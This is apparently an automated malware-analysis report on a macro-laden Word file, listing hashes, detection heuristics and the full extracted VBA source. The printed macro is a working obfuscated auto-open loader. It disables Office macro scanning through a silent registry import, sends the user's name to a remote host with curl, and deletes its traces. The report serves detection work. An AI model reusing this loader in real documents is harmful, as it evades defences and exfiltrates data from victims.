Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e5d3ac84140d1f1c…

MALICIOUS

Office (OOXML)

17.8 KB Created: 2021-04-13 04:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 47f8e0db1c0788a597c686ceed22904f SHA-1: 397dac2a1f35cb2028aea6388f4b64d07c05c71f SHA-256: e5d3ac84140d1f1ca4de655d654b596d27f409d62d595de64cf0d49ee5098450
150 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell glrzdpjbqkgz("636d64202f4b206375726c20687474703a2f") & glrzdpjbqkgz("2f3139322e3136382e302e3131373a383038302f25757365726e616d65252026262065786974")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Shell glrzdpjbqkgz("636d64202f4b206375726c20687474703a2f") & glrzdpjbqkgz("2f3139322e3136382e302e3131373a383038302f25757365726e616d65252026262065786974")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2150 bytes
SHA-256: cceb58faaad34294349f060be54c0fa9a67e18926b28c105370683025b8be750
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
    filepath = ActiveDocument.Path & glrzdpjbqkgz("5c")
    Documents.Add
    ActiveDocument.Range.Text = _
    glrzdpjbqkgz("57696e646f77732052656769737472792045646974") & glrzdpjbqkgz("6f722056657273696f6e20352e3030") & vbNewLine & vbNewLine & _
    glrzdpjbqkgz("5b484b45595f43555252454e545f555345525c536f6674776172655c4d6963726f736f66745c4f66666963655c31362e305c436f") & glrzdpjbqkgz("6d6d6f6e5c73656375726974795d") & vbNewLine & _
    """MacroRuntimeScanScope""=dword:00000000" & vbNewLine & vbNewLine
    ActiveDocument.SaveAs2 FileName:=filepath & glrzdpjbqkgz("6765") & glrzdpjbqkgz("6e6572617465644279576f72642e726567"), LineEnding:=wdCRLF, FileFormat:=wdFormatText, Encoding:=437
    ActiveDocument.Close
    Documents.Add
    ActiveDocument.Range.Text = glrzdpjbqkgz("726567656469742e657865202f532067656e65") & glrzdpjbqkgz("72617465644279576f72642e726567")
    ActiveDocument.SaveAs2 FileName:=filepath & glrzdpjbqkgz("67656e6572617465644279576f72642e") & glrzdpjbqkgz("626174"), FileFormat:=wdFormatText, Encoding:=437, LineEnding:=wdCRLF
    ActiveDocument.Close
    Shell glrzdpjbqkgz("636d64202f4b206375726c20687474703a2f") & glrzdpjbqkgz("2f3139322e3136382e302e3131373a383038302f25757365726e616d65252026262065786974")
    Delete = glrzdpjbqkgz("636d64202f") & glrzdpjbqkgz("4b2064656c20") & filepath
    Shell Delete & glrzdpjbqkgz("67656e6572617465644279576f72642e626174202626") & glrzdpjbqkgz("2065786974")
    Shell Delete & glrzdpjbqkgz("67") & glrzdpjbqkgz("656e6572617465644279576f72642e7265672026262065786974")
End Sub
Private Function glrzdpjbqkgz(ByVal pcygtfxjpvpr As String) As String
    Dim dpqfmyizwbrx As Long
    For dpqfmyizwbrx = 1 To Len(pcygtfxjpvpr) Step 2
    glrzdpjbqkgz = glrzdpjbqkgz & Chr$(Val("&H" & Mid$(pcygtfxjpvpr, dpqfmyizwbrx, 2)))
    Next dpqfmyizwbrx
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 6d59db1fb916b0cd342717e2179fd8dd17f836622150663aba46382a5cacdafc